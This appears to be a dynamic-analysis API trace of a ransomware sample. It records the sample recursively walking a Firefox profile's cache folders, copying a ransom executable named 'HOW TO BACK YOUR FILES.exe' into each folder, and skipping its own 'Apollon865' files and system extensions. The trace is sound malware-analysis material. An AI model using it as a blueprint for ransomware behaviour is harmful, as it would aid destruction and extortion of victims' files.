	[0045.469] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0045.469] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3") returned 93
	[0045.469] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3"
	[0045.469] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.469] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.473] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.473] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x332c5ab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x332c5ab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.473] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.473] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.473] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="4B" | out: lpString1="4B") returned="4B"
	[0045.473] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0045.473] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x5aa3c8
	[0045.473] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0045.473] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x332c5ab0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x332c5ab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.474] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.474] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x332c5ab0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x332c5ab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0045.474] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.474] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0045.474] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B"
	[0045.474] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0045.474] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0045.474] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B") returned 96
	[0045.474] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B"
	[0045.474] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.474] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\4b\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.487] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.487] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x332ebc10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x332ebc10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.487] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.487] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.487] lstrcpyW (in: lpString1=0x2d3e612, lpString2="1D8FDd01" | out: lpString1="1D8FDd01") returned="1D8FDd01"
	[0045.487] lstrlenW (lpString="1D8FDd01") returned 8
	[0045.487] lstrlenW (lpString="Apollon865") returned 10
	[0045.487] lstrlenW (lpString=".dll") returned 4
	[0045.487] lstrcmpiW (lpString1="1D8FDd01", lpString2=".dll") returned 1
	[0045.487] lstrlenW (lpString=".lnk") returned 4
	[0045.487] lstrcmpiW (lpString1="1D8FDd01", lpString2=".lnk") returned 1
	[0045.487] lstrlenW (lpString=".ini") returned 4
	[0045.487] lstrcmpiW (lpString1="1D8FDd01", lpString2=".ini") returned 1
	[0045.487] lstrlenW (lpString=".sys") returned 4
	[0045.487] lstrcmpiW (lpString1="1D8FDd01", lpString2=".sys") returned 1
	[0045.487] lstrlenW (lpString="1D8FDd01") returned 8
	[0045.488] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2"
	[0045.488] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599518 | out: hHeap=0x580000) returned 1
	[0045.488] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0045.488] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2") returned 93
	[0045.488] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2"
	[0045.488] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.488] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\2\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.492] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.492] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x332ebc10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x332ebc10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.493] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.493] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.493] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1"
	[0045.493] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0045.493] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0045.493] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1") returned 93
	[0045.493] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1"
	[0045.493] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.493] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.501] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.501] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33311d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33311d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.502] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.502] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.502] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="0B" | out: lpString1="0B") returned="0B"
	[0045.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0045.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x599450
	[0045.502] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0045.502] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C2", cAlternateFileName="")) returned 1
	[0045.502] lstrcmpiW (lpString1="C2", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.502] lstrcmpiW (lpString1="C2", lpString2="Apollon865.txt.exe") returned 1
	[0045.502] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="C2" | out: lpString1="C2") returned="C2"
	[0045.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0045.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x599520
	[0045.502] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0045.502] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d7ec50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F6", cAlternateFileName="")) returned 1
	[0045.502] lstrcmpiW (lpString1="F6", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.502] lstrcmpiW (lpString1="F6", lpString2="Apollon865.txt.exe") returned 1
	[0045.502] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="F6" | out: lpString1="F6") returned="F6"
	[0045.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0045.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x5aa3c8
	[0045.502] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0045.502] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33311d70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33311d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.502] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.502] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33311d70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33311d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0045.502] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.502] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0045.502] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6"
	[0045.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0045.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0045.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6") returned 96
	[0045.503] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6"
	[0045.503] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.503] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\f6\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.514] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.514] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33311d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33311d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.515] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.515] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.515] lstrcpyW (in: lpString1=0x2d3e612, lpString2="CBD4Dd01" | out: lpString1="CBD4Dd01") returned="CBD4Dd01"
	[0045.515] lstrlenW (lpString="CBD4Dd01") returned 8
	[0045.515] lstrlenW (lpString="Apollon865") returned 10
	[0045.515] lstrlenW (lpString=".dll") returned 4
	[0045.515] lstrcmpiW (lpString1="CBD4Dd01", lpString2=".dll") returned 1
	[0045.515] lstrlenW (lpString=".lnk") returned 4
	[0045.515] lstrcmpiW (lpString1="CBD4Dd01", lpString2=".lnk") returned 1
	[0045.515] lstrlenW (lpString=".ini") returned 4
	[0045.515] lstrcmpiW (lpString1="CBD4Dd01", lpString2=".ini") returned 1
	[0045.515] lstrlenW (lpString=".sys") returned 4
	[0045.515] lstrcmpiW (lpString1="CBD4Dd01", lpString2=".sys") returned 1
	[0045.515] lstrlenW (lpString="CBD4Dd01") returned 8
	[0045.515] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2"
	[0045.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599520 | out: hHeap=0x580000) returned 1
	[0045.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0045.515] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2") returned 96
	[0045.515] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2"
	[0045.515] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.515] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\c2\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.520] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.520] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x33337ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33337ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.520] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.520] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.520] lstrcpyW (in: lpString1=0x2d3e612, lpString2="0B619d01" | out: lpString1="0B619d01") returned="0B619d01"
	[0045.521] lstrlenW (lpString="0B619d01") returned 8
	[0045.521] lstrlenW (lpString="Apollon865") returned 10
	[0045.521] lstrlenW (lpString=".dll") returned 4
	[0045.521] lstrcmpiW (lpString1="0B619d01", lpString2=".dll") returned 1
	[0045.521] lstrlenW (lpString=".lnk") returned 4
	[0045.521] lstrcmpiW (lpString1="0B619d01", lpString2=".lnk") returned 1
	[0045.521] lstrlenW (lpString=".ini") returned 4
	[0045.521] lstrcmpiW (lpString1="0B619d01", lpString2=".ini") returned 1
	[0045.521] lstrlenW (lpString=".sys") returned 4
	[0045.521] lstrcmpiW (lpString1="0B619d01", lpString2=".sys") returned 1
	[0045.521] lstrlenW (lpString="0B619d01") returned 8
	[0045.521] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B"
